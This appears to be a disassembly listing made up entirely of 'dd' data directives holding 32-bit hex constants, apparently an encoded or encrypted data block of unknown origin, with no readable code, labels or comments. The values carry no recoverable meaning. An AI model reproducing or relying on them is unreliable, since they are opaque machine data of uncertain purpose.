		dd 78F36508h, 6CF62D02h, 0AE890B79h, 857C69CFh,	6BF9F118h
		dd 0DD88CE7Ah, 5865E6C1h, 5D064235h, 6460CD7h, 2D400008h
		dd 4E98F9F5h, 3D49EAE9h, 27F61C5Fh, 8F92F01Eh, 56AD5340h
		dd 1F497868h, 535E7B0Eh, 0BEEAC009h, 0F425350Dh, 0C1C6D05Fh
		dd 0F4EFA90h, 27C8DB4Ah, 3C5A9CAFh, 5BE8C4B0h, 83623020h
		dd 7B4A5D79h, 0EE04FCE9h, 0A2255BE9h, 4F3F9FF2h, 5C7E1F4h
		dd 0D5CDE7DEh, 5AA3BF09h, 0D6A23502h, 0E577A696h, 57E90580h
		dd 0C82D6432h, 3070AB7Ch, 692376B7h, 0D7CDB80h,	7ABD26F7h
		dd 45440F8Dh, 1C137EE9h, 5B0E8243h, 55604690h, 352F5C69h
		dd 7000502Ch, 0A578B510h, 0E3603C01h, 5BF4E947h, 0EF178162h
		dd 0C509E823h, 0DDC8BEC4h, 9594A916h, 3F72A17Bh, 501E3B3h
		dd 35F5C7BFh, 0F9DFD229h, 0AE53647Eh, 0ECE5B1FCh, 0F4BD1646h
		dd 0E0780EE2h, 74A09705h, 3C757012h, 4501F3ECh,	3126BC7Fh
		dd 0F96A5BDDh, 69338933h, 2D002BE6h, 0B5050B21h, 5C8010Fh
		dd 3059070Bh, 0C343FFCFh, 2E13BB0Ah, 89753DBAh,	0A4B180ADh
		dd 42CAB31h, 4D68D3F7h,	0C100E80Fh, 8707F522h, 0EDE6F13Ah
		dd 723130D9h, 0FBE025D2h, 5F3518A5h, 17854E48h,	4B6DC918h
		dd 344C280Eh, 0C56F1901h, 0E9B102EAh, 8541881Ah, 3806F89Dh
		dd 37565FD3h, 0C79BCCABh, 74B55270h, 8DE0C209h,	94EB9EA1h
		dd 432BE06Bh, 0A1070EC0h, 2EE90E13h, 6FA297CAh,	0A6C3D505h
		dd 27699AEh, 0E08BF83Ah, 0E03DED80h, 0E985C2E8h, 6B6C2E50h
		dd 0E27C539Dh, 0DF0B5649h, 0BA524780h, 934C6D66h, 51C200ACh
		dd 0E9290667h, 0E4A4BA9Dh, 0C2809CF1h, 0B75E855Eh, 312DBB60h
		dd 0E5C1014Ch, 0D4ED8103h, 0D861FD6Dh, 730E83E9h, 0DA0107B3h
		dd 5D0800E8h, 0C45BAE68h, 162D8F55h, 5BD515BBh,	4BDEC87Eh
		dd 0F533B620h, 1FBE258Fh, 9DE2909h, 0F1513E02h,	4A08E950h
		dd 0C78F4C36h, 31B0A544h, 9503DD2Eh, 1E7F17BBh,	2A3DC091h
		dd 76546A69h, 4344BE75h, 87035C29h, 2857B050h, 5758B2C3h
		dd 2A625A7Eh, 0E0CCF70Eh, 0E6572F09h, 8640007Ah, 9FBACA01h
		dd 0EAC95B0Eh, 0DEC5C0F6h, 2AA64096h, 3FDCFB3Ch, 0E21502E0h
		dd 125A8D11h, 6060AA99h, 952C8BEBh, 0E98BC065h,	8B6CF60Dh
		dd 0B3D503EAh, 344BC901h, 0BC136C60h, 32B80EB5h, 0F72DC4C1h
		dd 0F17920D8h, 5380AAB9h, 68555150h, 0F02F0369h, 24E95D21h
		dd 100EE3F5h, 5A3FD25Bh, 838AB22Ch, 7860CD81h, 0DE4044FAh
		dd 1027725Dh, 2D1D5665h, 0E00BF76h, 0E9350A31h,	0B76440C2h
		dd 0FA4B88E8h, 0D0C0EB29h, 0B3029E9h, 8A9208E6h, 61746800h
		dd 0F6595A7Ch, 0E8835A6Ch, 7F35A18Bh, 25F455C2h, 7DFE8FF9h
		dd 0C4AF8465h, 0EA5E2767h, 4E43C879h, 0F25502A5h, 7EF55A5Fh
		dd 0D8830141h, 0EAF896F6h, 0A80C827Dh, 32C22957h, 0F5D8274h
		dd 0C0E70B67h, 0ACAFEF2h, 0EA80D2F6h, 5AD002C5h, 97401F2Ch
		dd 0C2BEB18Bh, 0CBCEE81h, 59312344h, 0E71EA041h, 3609AA04h
		dd 0C4655458h, 0F7B6ABDBh, 6D82307Ah, 27DCEDB7h, 0D9B971E9h
		dd 0C9007B06h, 226A8DE5h, 8BA2BD3Fh, 59446BF8h,	3FCBFD30h
		dd 2E1A09EFh, 2DE6819h,	115A793Ah, 6A6B78E1h, 3113A18Ah
		dd 5FC6A2D1h, 0AAC4AACh, 4B5DFC40h, 45A20556h, 0FC861728h
		dd 3C44485Bh, 97E41274h, 0BE00ABC4h, 48E73AFEh,	617BA09h
		dd 8960EBEFh, 120F0C03h, 126575DBh, 8B141F87h, 7931FB12h
		dd 11360F96h, 0FA78B05Fh, 0C55581AAh, 509A8347h, 0F1F02A4Dh
		dd 0DD181716h, 330E491Fh, 62AA310Dh, 0F104420Ch, 0DBADB919h
		dd 98028FBh, 8AE9DA09h,	7E5890F2h, 2F7892D3h, 0FC536930h
		dd 4C493516h, 87EBE8C5h, 0D1F725CDh, 89F0DD7h, 8450D3CFh
		dd 16D0E6FBh, 3CAED6ABh, 0E44D87C4h, 5DF85F44h,	0E85D1F79h
		dd 0C3514B14h, 1B8D4890h, 0EE49D22Ch, 49FF0437h, 0A4D07ED4h
		dd 0EEA1AC2h, 6817F616h, 48C2C0Ch, 5982680Bh, 7910FE3h
		dd 8C8730A9h, 0DE41005h, 0E939EEDFh, 0DF28EBADh, 0A0FD1520h
		dd 8CBF2A84h, 139096CAh, 0EC0AC02Fh, 13AE5B06h,	3490FAAAh
		dd 1ECC1B56h, 95489101h, 58018E1Ch, 529AECBBh, 4BF52BE1h
		dd 7EA8E53Bh, 414C8A2Ch, 31BF2AF2h, 6FE84A7Bh, 1590ECD7h
		dd 2968376Ah, 89DD06DAh, 7CA4AFE9h, 686C805Ah, 0EB762D85h
		dd 0B0A05965h, 4A3D38C2h, 40555E14h, 207867B1h,	28D00179h
		dd 20635808h, 0A16825EBh, 9E89ED76h, 0A70B7124h, 6EC10370h
		dd 41F13A78h, 16304007h, 0E91642AAh, 0A5904A04h, 2FA4925h
		dd 34E22D15h, 14C01AC0h, 0EB48B935h, 6D165BEBh,	0EE07B08h
		dd 0E34CDC30h, 51166608h, 0EE08E588h, 565E05D6h, 73B0CC54h
		dd 0C1419841h, 1732F70Ch, 0CEE66CAh, 0EA0ADE0Ah, 0EFECCC5Ah
		dd 0E855FA12h, 9821699h, 493ADE0Bh, 0CF373C79h,	0BAEE2C12h
		dd 0B2C4DFCCh, 0BF5D077Fh, 126D7862h, 44F5D731h, 17F5F8C4h
		dd 447B27Ch, 0E9D9C807h, 27FC9724h, 50A86AADh, 0BBE741C5h
		dd 41427ACCh, 0A7964219h, 1CF28009h, 9F1DB14Bh,	2183D392h
		dd 3BE27278h, 0C74BC2EAh, 64E361E7h, 0C5248145h, 346D4B96h
		dd 0D955E3F2h, 53C6853h, 5D08A172h, 5BCC043Eh, 0E5CFBE58h
		dd 84A7AC4Eh, 38E9BACFh, 8F0908D2h, 0FF1BB01h, 52BE433Fh
		dd 86846027h, 4A4EF5Ah,	4382604Eh, 2B4173F1h, 0DA472FF3h
		dd 7D096351h, 0AE0972F3h, 0CBE4FDE6h, 0D3ED109h, 1E88DD19h
		dd 803C0391h, 9605F6E2h, 30413BF5h, 11D794BEh, 0FC0F8908h
		dd 0BD37F19h, 6BB01B40h, 0DA12BA52h, 1E04076Dh,	0BE0FA563h
		dd 1C06F81h, 0A37BCCB9h, 0F1291912h, 0F8965506h, 67C606CBh
		dd 0C1A8F4Ch, 0B2F383Dh, 8FE0107h, 0C3408CBh, 0A8E91405h
		dd 0F5684BD1h, 9DE1F78h, 7F983EC5h, 3BE98B58h, 9AD534DCh
		dd 0A360B775h, 53271C8h, 523D1823h, 17FA3058h, 397EEFA1h
		dd 2976C60Ah, 82099D7h,	5A5D9380h, 21D149Ch, 284A9571h
		dd 32606363h, 7AE6238Bh, 0B8E9530Ch, 9801E0Bh, 51506DC2h
		dd 973B525Fh, 6DE48CF1h, 282D3FB8h, 0B0C3F9DCh,	19144865h
		dd 0B2E04F27h, 7E73F180h, 7C99C13Bh, 0C828E101h, 0B7536659h
		dd 0AE952021h, 0EC4AD26Dh, 0D5A8192Dh, 0D46C540Eh, 0FA6857C3h
		dd 579F3BDh, 32054347h,	8F0767F1h, 0B801138Ch, 0E6FB9794h
		dd 2534EB01h, 0A56B50F2h, 0B9080444h, 0D8982A7Bh, 1AB2AA1h
		dd 1D6EEF87h, 8CE32715h, 0EBB7663Ch, 7E5004B2h,	9B484DF7h
		dd 31A1150h, 0E92EED22h, 0D3763865h, 33FC1B34h,	230CB505h
		dd 76656FEh, 882667BCh,	7584C707h, 89B573D7h, 9068B940h
		dd 9C12AF23h, 21868D21h, 41663475h, 0C241F241h,	227D17A5h
		dd 0CD5ED5DEh, 52FD326Eh, 7F988F71h, 66679525h,	0A2682D17h
		dd 1AC1985Dh, 10B1D808h, 0CF731611h, 0EDA231D7h, 8C7F2E17h
		dd 7B48BA71h, 12473F60h, 5544EC7Dh, 9F986DBDh, 0CD454A48h
		dd 525E3BD6h, 0B00C1A24h
		dd 6D39A9h, 5861040Fh, 784FAC05h, 44E96E0Dh, 0F33B20E2h
		dd 7D72C75Fh, 73C5F509h, 0A90BE582h, 9E59260h, 0EDE7D508h
		dd 0A43087A2h, 77B81033h, 39740148h, 0B314BBDh,	0DBF06B59h
		dd 0EF792F3h, 0FA0C8D35h, 33A52D4Fh, 45C38387h,	5A8D6D3h
		dd 0F43F1103h, 7246877Ah, 0E9125526h, 1F2D43Dh,	977740BFh
		dd 0E511E84Eh, 4E28C6B9h, 1E699801h, 3F736850h,	1C1DA68h
		dd 2E7F5976h, 81394EAFh, 0A72D416Fh, 0C2C3EE3Eh, 946A84F0h
		dd 0C18F6BDh, 0E1474BDAh, 0AA5DE7EEh, 0F8B34AA4h, 56DC6809h
		dd 0CE857DD1h, 0C40DAB4Bh, 0AC001BB8h, 6039658Fh, 79740C69h
		dd 57BA5D4Bh, 977F6E12h, 1AE4F3C1h, 8A2B547Ah, 0E3582E19h
		dd 0C4BAFCF5h, 35466BD3h, 3617C35h, 0F536C8E6h,	9FE1461Bh
		dd 86CE3BF4h, 0A12DBD5Fh, 0F22EF0B3h, 0C85CA24Eh, 0E6162932h
		dd 0BE561E7Ah, 9069D9A1h, 5A9124FAh, 45F9489Ch,	3093CD6Bh
		dd 0F0D0CAAh, 0E296D05h, 0A5404E9h, 0C9102FE6h,	17B80F88h
		dd 55250B32h, 417010AEh, 8FBE830Bh, 0FE7E9328h,	4581940Eh
		dd 3BD1EEDBh, 0AA2A04EAh, 0A87F7C2Dh, 0F8EAE493h, 0DCB3A530h
		dd 0EC54124Bh, 4720B516h, 92E1643h, 7680E935h, 4EA45553h
		dd 0DE90B90Bh, 0A3E95B71h, 82FA05B7h, 0F9C802B5h, 4951DD5Dh
		dd 0D40F0B5h, 0C32874Ch, 66FA895Ah, 0CB818014h,	847F9B09h
		dd 0A75715h, 0A043F041h, 395A7E9h, 848D2C15h, 435217C2h
		dd 7FE2DF44h, 0EF5904D3h, 142A0942h, 5E8A5401h,	2D2C9EBDh
		dd 37F822E9h, 52E619BDh, 5CDCB7DCh, 0F4518E89h,	9CFBFCFBh
		dd 2138E12Ch, 77312F61h, 2AF245ADh, 0ED833427h,	86A385B0h
		dd 25DFE10h, 6B7D3ABEh,	0BF06E046h, 25F79B7Ch, 0C1289B54h
		dd 34C9220h, 886DB252h,	0EF9B5AD5h, 27BCE1FFh, 0BEE3201h
		dd 0FC02C968h, 0B6775A27h, 0BE3C5B25h, 9F19D31h, 0C795D17Ah
		dd 0A72B7C22h, 0BDC878D9h, 0E98527C7h, 12E98223h, 8E2A0519h
		dd 2D692C53h, 0C72DDE31h, 0FAD795E9h, 0FBE02089h, 0D168819Ch
		dd 71758A1Bh, 9CC84557h, 19C8EA0Ch, 0AF6009EFh,	54C20D4Ah
		dd 0E9042DF4h, 1D90DEBEh, 97304289h, 225F6A32h,	5FE11F99h
		dd 0F90CD171h, 9D5B364Fh, 0B850FCC0h, 0AE64E40Bh, 135B7C3Dh
		dd 3104822Eh, 0B0141FFh, 366CDD2Ah, 0C6D32CFEh,	60F6BB08h
		dd 0B25B40B9h, 0F1811703h, 915C19E3h, 89DE8CE9h, 0FA3BCA6Ah
		dd 1867E6D8h, 1E695F1Fh, 0F2203697h, 2BDBC1Dh, 0B19DC694h
		dd 425EB385h, 2CCC6885h, 0AD25657Fh, 0A67C7D40h, 91EB0FD3h
		dd 0F176FFh, 0F056665Bh, 13289C84h, 0D3DB505Ch,	660F0320h
		dd 2B75AC68h, 0E235910Fh, 0A228A6DDh, 5618924Ah, 92CFFC5Eh
		dd 10EB8AAFh, 244FE05Bh, 0C22A8717h, 0D1412F3Ch, 0C0FE62CAh
		dd 656BD55h, 0AF015E69h, 0DCE53107h, 6015510Bh,	0B551C331h
		dd 2BEDB4Ah, 83E9D46Ah,	81D1F8A5h, 790CF7B5h, 7D568461h
		dd 5BD16800h, 5F1B2558h, 0AED07C31h, 1F5949D3h,	0D0CEAA4Bh
		dd 7804AB5Fh, 8BBEA648h, 0C3CA5A9Dh, 47C5A45Fh,	0CE232B4Dh
		dd 0B75EB00Ch, 39AE97AAh, 1A293A58h, 8812F101h,	1EB6B848h
		dd 0D2131722h, 339CF102h, 87816421h, 680200EBh,	75DC47C6h
		dd 0F5633790h, 4057C506h, 58890DDCh, 794DF0EFh,	9C70912h
		dd 276459B8h, 5564C8BEh, 143B680h, 0D1570E75h, 3AA205E8h
		dd 0C15635F4h, 0ADE95202h, 596A7E96h, 0C717806Ch, 944616BBh
		dd 82FE4831h, 0AC560116h, 0D2BCCBC4h, 38F704DFh, 0B177B272h
		dd 0E3F7605Dh, 0DE1EC169h, 0E86850BAh, 0AFED0F4Eh, 0DFF3F4F4h
		dd 3C960D4Dh, 0B0449FBFh, 29237230h, 4F4E26D1h,	10D6ACA3h
		dd 4BB90019h, 1756124h,	6018F8C8h, 68EDA9C4h, 0F97D8FBAh
		dd 1ABD5DF8h, 0D8427724h, 3ACC03CCh, 5AB00BF7h,	0FCF0B4DEh
		dd 28747004h, 8F8EF289h, 5F18F94Ah, 13688803h, 0A9EB846Bh
		dd 9F84D7FDh, 0D6CFC604h, 5014C740h, 99BB17AEh,	2239D424h
		dd 0E1C601A1h, 21378541h, 0E36EF5F7h, 0E1A3BA85h, 3CB2105Ch
		dd 8004FD56h, 3BC17DC6h, 90D256BAh, 80289EE8h, 961892BFh
		dd 0FF90FAF8h, 3A16093Ch, 2C01EF01h, 0D4F70BB3h, 6CB415E9h
		dd 0A26FD2Fh, 0A4A8240h, 0CCDFE8E3h, 0EE85D361h, 5F4E2678h
		dd 0EBF0014Fh, 0A39CE8F8h, 68C4B171h, 144450D0h, 802E1CBFh
		dd 91528F6h, 0EA0109DCh, 33650D96h, 8BADB8F7h, 0BCBF303h
		dd 6605204Eh, 0AB968A8h, 0D302B2EEh, 75E05F0Bh,	0AF3371C4h
		dd 0D0F649EDh, 0BD1AB73Eh, 0E9420556h, 3BF6D067h, 4AFB4B5Dh
		dd 0D35CBDEAh, 68528CFFh, 83704D29h, 0CC0DE961h, 0EBD25069h
		dd 6377A8B6h, 64C39160h, 60EFCDD3h, 590580E3h, 9FB8615Ah
		dd 2853770Ch, 30243118h, 0F301AED5h, 5F983BBAh,	0B5D1882h
		dd 7AE16A99h, 21C5211Eh, 161D698Bh, 15E2C3BDh, 43417F6Fh
		dd 2E11F267h, 0E9664FEAh, 0A8345E17h, 0CE4EF5h,	7E90BE06h
		dd 467B6AB6h, 0D3943A74h, 5FCA5166h, 5976094Eh,	85AABD7h
		dd 9129E17h, 0B3FBB624h, 5B85DD74h, 2DAD3242h, 0A9A4C06h
		dd 0FF0B0C55h, 0F60C298Ch, 2FB328CAh, 9566012Dh, 0F6771813h
		dd 0D4BD05AAh, 2A488674h, 7DCA6810h, 0F7F0E909h, 2490D664h
		dd 2763FB95h, 0C34B6D6Ch, 0D15963E1h, 0A98940ECh, 0AC2B5F7Dh
		dd 27FDB95Ah, 0AA212A7h, 74E226C1h, 2CB78B16h, 44F2BC67h
		dd 0E545DB1Ah, 24448A7Fh, 51A471EAh, 0AED97D0Ah, 0F280F4C8h
		dd 0E95E430Eh, 31954A46h, 0B91C23DBh, 46CE2BE6h, 275DD8ADh
		dd 94558759h, 17022792h, 672AA598h, 0B5284C8Bh,	278AF025h
		dd 0C457C79Eh, 209BE16Fh, 53171354h, 37E873BFh,	5D63A405h
		dd 0C8AB8077h, 584EC90Eh, 5BE92C9Ch, 4C03C64Fh,	74C5DB5Ah
		dd 43683881h, 21DA8701h, 6408B024h, 16A3B608h, 849AE9C0h
		dd 0F01CA84Ch, 0C12962E9h, 7B55BB0Ah, 0F0947BA6h, 1A0FF1F8h
		dd 0EB2F062Eh, 13FB799Eh, 0AEA30D83h, 8905B802h, 2767F84Ah
		dd 6990920Fh, 0BA80B537h, 413F3FE5h, 5F24EEDAh,	0B0F87D85h
		dd 0E24BA559h, 0BD668168h, 0C4D34DDFh, 56700BAFh, 3A82F754h
		dd 6818ABE9h, 2D522BE7h, 14F6D936h, 0DF028249h,	5B070B0Fh
		dd 0D7823BF1h, 0AC435111h, 6FD8FEF9h, 7976737h,	0CC7527E8h
		dd 0D9594BDFh, 4EE36915h, 49220BF4h, 0FD16CC25h, 2B658D5Fh
		dd 6CA1D4BCh, 6D02A9Ch,	904E6844h, 1CA209E6h, 64551A73h
		dd 7E5DF6ECh, 0EAD8F705h, 5B5812EBh, 0E9500132h, 6F010EF5h
		dd 0FC4E93E3h, 6FD51C74h, 0FBE96EC2h, 7545DF26h, 0C3D05CA7h
		dd 0BDDC02B2h, 3D420A6h, 0A24DBB9h, 0FE5E3129h,	0E9839AFCh
		dd 4B2FF4D7h, 2331DFDDh, 47FEDC99h, 2208329Eh, 69340BBDh
		dd 0D9805EC3h, 0C848305Bh, 5450B1BBh, 0FE703243h, 89DA9689h
		dd 2F04CF29h, 272D14D1h, 69EFF0DAh, 0EE894D54h,	917C5AABh
		dd 3E18FF25h, 8D1A032Dh, 57288993h, 433A46CAh, 0BA687576h
		dd 7326B900h, 4F8CE90Eh, 0F3F6E4BBh, 363B6512h,	93D03204h
		dd 73706800h, 8BA2285Eh, 69ECD3DDh, 6D98971Ch, 0C3504E09h
		dd 0D5400075h, 90324B70h, 0AA80099h, 0CD8166E5h, 69042CC0h
		dd 1D57E903h, 0F13F00A5h, 30681D8Ch, 30417F1Bh,	2AAB897Eh
		dd 0BA42C3C3h, 0A4195901h, 0A61F1E2Ch, 632B6FF5h, 500FDF8h
		dd 5DC14F9Dh, 0BF4EA968h, 0D4E98E59h, 3661021Bh, 616C6BD1h
		dd 0B8E5C131h, 0EC053DD9h, 0E7B78433h, 2078E7B2h, 575CC6Bh
		dd 80A1190Bh, 26207729h, 823416Ch, 3872454Ch, 6A1F891Ah
		dd 2A657509h, 77A92230h
		dd 0E92B367Bh, 350E16CCh, 0F63676D9h, 25CBEA08h, 0FE1CC376h
		dd 0C69768CBh, 71B0015Fh, 0B234252Ch, 30868228h, 0DF8859EAh
		dd 9142FF02h, 4C79326Ah, 68182149h, 0E62E3BDFh,	0BAA6925Eh
		dd 51FDBA30h, 3A540968h, 0F19494F1h, 85C77525h,	4E1AF72Dh
		dd 1C826CDFh, 2D5A32E9h, 0FC867038h, 31BD6B13h,	78018E0Bh
		dd 55C65859h, 6813025Bh, 0EC9A10ECh, 0D9697883h, 0AFE7133Bh
		dd 592C85B6h, 2BB17AF8h, 4C1FA786h, 0BD6B772Bh,	6D14C1C8h
		dd 0EE4A7C28h, 0E1E5F0Bh, 0CD75218h, 351F4001h,	7A1F140h
		dd 49926E5Dh, 0CDBA8006h, 61AD6C10h, 27E9C221h,	98D02B98h
		dd 5F237551h, 252CFF53h, 0E8D65A89h, 0B9317DDFh, 0F4E92D55h
		dd 0EB5E176Ch, 0FFF2114h, 0C56BA428h, 1288FE2Fh, 484118F3h
		dd 4631226Ah, 921E8A33h, 2005FF5Fh, 54BD9C2h, 221C264h
		dd 415FA778h, 4BFCF7C8h, 0E591CDF1h, 22C56F5Eh,	0AD6FBF04h
		dd 0F90DBE4h, 5B2A360Fh, 8A37E68Ch, 80875899h, 0BEE5C1EAh
		dd 3C31BDADh, 3D9F6362h, 2B170048h, 0E5811804h,	5E4F3F49h
		dd 0FCF14DA5h, 41728E2Dh, 780B34BAh, 95A497F4h,	4558B49Ah
		dd 26A64F95h, 0DA344294h, 20A3D80Bh, 5E4BAEF0h,	73F5C9E8h
		dd 3F14C11Fh, 100A1C68h, 0E85EF545h, 7E94C405h,	12DCE920h
		dd 0D1A6A3B7h, 0F2CDE355h, 0A896DFEEh, 0C1EF5950h, 842E2217h
		dd 0EB110A04h, 170991BBh, 0CF227F27h, 4848555Fh, 0DA33DB48h
		dd 12F4D293h, 0BAD6EF99h, 4B3C448Ch, 2D82B61Ch,	2503E62Eh
		dd 32F9697Ch, 0CA416287h, 4016A43Fh, 0D07032AAh, 51FCDD7Ah
		dd 1F7D1913h, 26DD1721h, 4DC5EB05h, 130A3EA3h, 1B0CF51h
		dd 0ED5377C9h, 0D7A3200Fh, 48740339h, 49071C15h, 671D1670h
		dd 0F0354E09h, 924F7488h, 0D8244CD1h, 0CADEAE29h, 9C5FB39Dh
		dd 1151E7F7h, 57D68762h, 783AEE59h, 0EBCD54C4h,	0BC054000h
		dd 0F35BCEFDh, 0BF074E85h, 5F09DC44h, 0A4EC67Bh, 12BC7636h
		dd 0D0FD1A49h, 0B90C44A5h, 3A31BE39h, 5C016D10h, 79768D66h
		dd 0B540A80Bh, 0F3597435h, 0EA04C26Eh, 5153B5E8h, 0CBB1F395h
		dd 0FEFF7A04h, 0E90E869Bh, 0AA1364D1h, 0CB6263A7h, 275B4957h
		dd 0FADEC80Bh, 0D6650FACh, 197DFBB3h, 7E489416h, 0C8C32792h
		dd 4EE8C144h, 8936C007h, 3F7FA576h, 37ECE6EFh, 2B84771h
		dd 6AE41855h, 0D14C80ADh, 0D0102A16h, 0F136CB61h, 0C534487Bh
		dd 90FA2DE8h, 69098044h, 0EE036F4Bh, 529FE38h, 8E3F5118h
		dd 4E1CBF99h, 0CA07F1D0h, 5C0428E9h, 3A07835Bh,	454D7842h
		dd 184987D7h, 2FEA8829h, 0C2545368h, 0D3C9FE6Eh, 24AA4551h
		dd 5F4702C6h, 0E8403FC7h, 381DA0BDh, 0C956E9C0h, 216038FFh
		dd 6881489Dh, 626EFDB2h, 0FC85523Dh, 0B50B4216h, 0FDC0206Ch
		dd 183CE280h, 1737BB51h, 1C1627EDh, 0FFB778A0h,	0CEC315D9h
		dd 58F1EB1Ch, 0E260EAC1h, 602095A2h, 6B0C0D96h,	4722F0EDh
		dd 8F58B737h, 8B17ED82h, 2DC7DE92h, 57407FF9h, 9DF9E954h
		dd 0BF0F2E6h, 719911BAh, 8F01E645h, 546C0103h, 365F7083h
		dd 0C07319Dh, 22CECAA0h, 6D4B7FFEh, 0E01BF76Eh,	4F4A6498h
		dd 0F9010209h, 5870745Fh, 0DE99742Bh, 0F2C70B62h, 7B230790h
		dd 0C342368Eh, 0B71ECEA8h, 530B2C77h, 412874D4h, 2F69BE68h
		dd 0D5F0E745h, 1B15B7EEh, 0B15B96B5h, 0CA8C555h, 40934E82h
		dd 7495CB50h, 659870C8h, 2F254141h, 0B455CFE0h,	827D72CAh
		dd 746F1550h, 4A946183h, 0A7E9F054h, 0EFB0F654h, 3D4E453Ah
		dd 5AD5A712h, 10E11C20h, 0F8695231h, 8C250999h,	30DDFC1Fh
		dd 0B7B22DA0h, 0E9A5C604h, 1AA5126Ch, 0BD362040h, 9EFAF805h
		dd 315F0911h, 80D1AF6Ch, 32D008Dh, 29F86010h, 1DD795C5h
		dd 497725C2h, 7880454Dh, 0C460E92h, 0D24FADE9h,	166A9031h
		dd 52545A02h, 99927069h, 0EC021306h, 34EFB5A8h,	791EC768h
		dd 3E300E16h, 0D5F75E06h, 8C40B655h, 5320FD0Ah,	0A770B324h
		dd 1257B40Eh, 5EB4CBFAh, 12F30BA0h, 2E3D052h, 0EB28C5C6h
		dd 809EBA79h, 35E94E02h, 83C5D4FFh, 7B41DCB8h, 1B9C25B0h
		dd 0CF703428h, 35730550h, 0CFFE6604h, 6F8257AFh, 91E0A78h
		dd 947720A7h, 20CC9A4h,	179EE66Ch, 0D47D5642h, 264762D2h
		dd 27B346DFh, 0F3D6D2D3h, 4AC0DC63h, 557EA020h,	93685702h
		dd 0E4518A32h, 8CFB49E8h, 1577AB4Bh, 72B1E6E4h,	3C2C2D2Eh
		dd 6F68B0F9h, 82CCAB3Fh, 0B5A768AFh, 6483FAE0h,	0AE321B77h
		dd 57C5E041h, 74C080BFh, 22FF9726h, 94714DDBh, 0AD42A0F5h
		dd 2C762D08h, 0CD2EDEC0h, 42EB1BC0h, 0B74980E8h, 9EFC9578h
		dd 65664C4Bh, 37ED9F08h, 2938DE2Dh, 93F2622Fh, 8A7B67F7h
		dd 0E2199283h, 8800B640h, 5B3059ECh, 2E68A6E1h,	5882157Ah
		dd 0F55DEA31h, 0E5FE6746h, 0F7C0B9DEh, 0D0A008F5h, 0B6A7BF29h
		dd 3C3B92F9h, 730B1D7Eh, 89ED9A1Dh, 89AC8250h, 0D03102F3h
		dd 2F6C455h, 76CE7EBFh,	0F9C029C1h, 0ABA4E06Eh,	0F3F09C0Bh
		dd 0B39AF725h, 185C945Ch, 0F68FC331h, 580F613h,	0E8F513F0h
		dd 0EF82EA64h, 3B55548Ah, 0C1B1B24Eh, 0FB3905DDh, 247D0D30h
		dd 12E78F32h, 88410D7h,	0C18AF24Eh, 9A3105C3h, 1D051F3h
		dd 8CAF0805h, 0F3784ECFh, 38945BF2h, 0BB33F96Bh, 0E0585D13h
		dd 602068CAh, 9DE91A73h, 50F7A9CDh, 24A7B5AEh, 4D22A1C6h
		dd 7DE86B34h, 4DE90840h, 0BB01B9F3h, 58CB4513h,	0F2AC824Bh
		dd 0E0A734BAh, 512A7054h, 1E3CB77Fh, 0F519D93Ah, 2FE56F93h
		dd 0FB96DFADh, 0AFADB017h, 3482E9B1h, 0D77F058Dh, 2D0E4101h
		dd 398E0895h, 9F736D60h, 0BF03D066h, 588F4312h,	0C6F2C7BAh
		dd 0AD81DDDBh, 3B2F0E5Ch, 80283A5h, 1651775Fh, 0BDA586Dh
		dd 0C4FEA87Fh, 5A576206h, 42FED12h, 127E1C07h, 389B2AFh
		dd 0F7D58795h, 0E9080BD2h, 3C5DE39Bh, 7EE0A26Ch, 0DA32CB34h
		dd 0CA184077h, 60AB2863h, 72B109A2h, 5C001918h,	55EE11E6h
		dd 25C7789Fh, 3545E408h, 5A255628h, 3C2DD9E7h, 54C8092Fh
		dd 422886BEh, 282FB7A0h, 0D0FCF691h, 44C2FEC6h,	0DD08E3C0h
		dd 2326A6C6h, 0F3586BC7h, 8A6F19FDh, 0F8540C42h, 6499FA06h
		dd 0DC390409h, 3AA26200h, 5769020Bh, 43228047h,	251CF446h
		dd 9877DE01h, 0C1AEA619h, 8768E543h, 21CB2B19h,	0E10E905h
		dd 0B9B2FF01h, 3E580CC9h, 9E40B84Eh, 0F908CA05h, 30BCA039h
		dd 64D82F2Fh, 0A42D29E0h, 4AAA0B5Ch, 700C2E1h, 0A685055h
		dd 2B631523h, 572117B8h, 1694BD90h, 30FB308Eh, 5A92689Eh
		dd 0DDA81899h, 0ED327512h, 0ADD0B704h, 821A76F6h, 73FF12A1h
		dd 0D1E789F9h, 388496F7h, 0E2CF01CAh, 4E84D1BCh, 9DA625A0h
		dd 0F6773542h, 519F56DFh, 0E7F62548h, 85874EFBh, 37F6DFh
		dd 3CAD5BE5h, 70CCE945h, 0B0F59706h, 0E10EEE83h, 0C101AC6Fh
		dd 25DC6858h, 0BCD23F2Dh, 62AAE560h, 0CC555930h, 0CF4220C2h
		dd 2CD0C080h, 0DAE67475h, 4742877h, 0AF66512Eh,	85E92302h
		dd 0B67F216h, 61FA1094h, 0FC5F7742h, 53AC6F15h,	0BD4EB328h
		dd 7C30AEE0h, 94B0FCCBh, 876BEF34h, 7D2F48F6h, 599D279Eh
		dd 9F686165h, 0EC21422Dh, 1D45C0Bh, 3E71FDE1h, 0D8C43022h
		dd 578E4611h, 5A4C13Fh,	584F07F4h, 0F7F6B9Ch, 0A0E4C4D6h
		dd 0EB0154E3h, 40FB60D8h, 0F0A03F21h, 26297CFh,	0F56E02FFh
		dd 0DDE5F5Ah, 0A28E55C9h, 9DC4B84Bh, 38047198h,	5776F76Bh
		dd 122DF9EFh, 0EC5EBE9h, 283A9FE8h, 232EC12h, 0D9638235h
		dd 0C9F9E07Fh, 48734C59h
		dd 896E9F13h, 3988E04Bh, 0C2E569CCh, 25469E4Ah,	0B0C25953h
		dd 0A775E7C9h, 0A6B43D46h, 0D47BF981h, 55715F59h, 585D0702h
		dd 518340EDh, 1DA2E926h, 0A7CF2EBEh, 0D8BFE113h, 0D3495CA4h
		dd 0CD741AC6h, 0ED45801Eh, 5C317813h, 16047C7Ch, 0ABE705A5h
		dd 6885D3FDh, 1E3EEA4h,	33409D7Fh, 0DC976C01h, 43E95809h
		dd 1E6FA59h, 9A744CF3h,	8E50D170h, 601B48F2h, 19CD1C10h
		dd 0E912BA35h, 5C4B6798h, 8805DDE8h, 0E1AC121Ah, 790247E8h
		dd 475D05C2h, 69CC253Ch, 68FCE025h, 18298DDDh, 0B18116DFh
		dd 53D7895h, 2F44B14Ah,	8A347ADAh, 4006985Dh, 8F09BE4Dh
		dd 75743C24h, 810E7170h, 1279A4E6h, 0E9B02A12h,	2BE912DDh
		dd 2D42E09Eh, 0B52C7877h, 5147014h, 0AFE91207h,	685946C0h
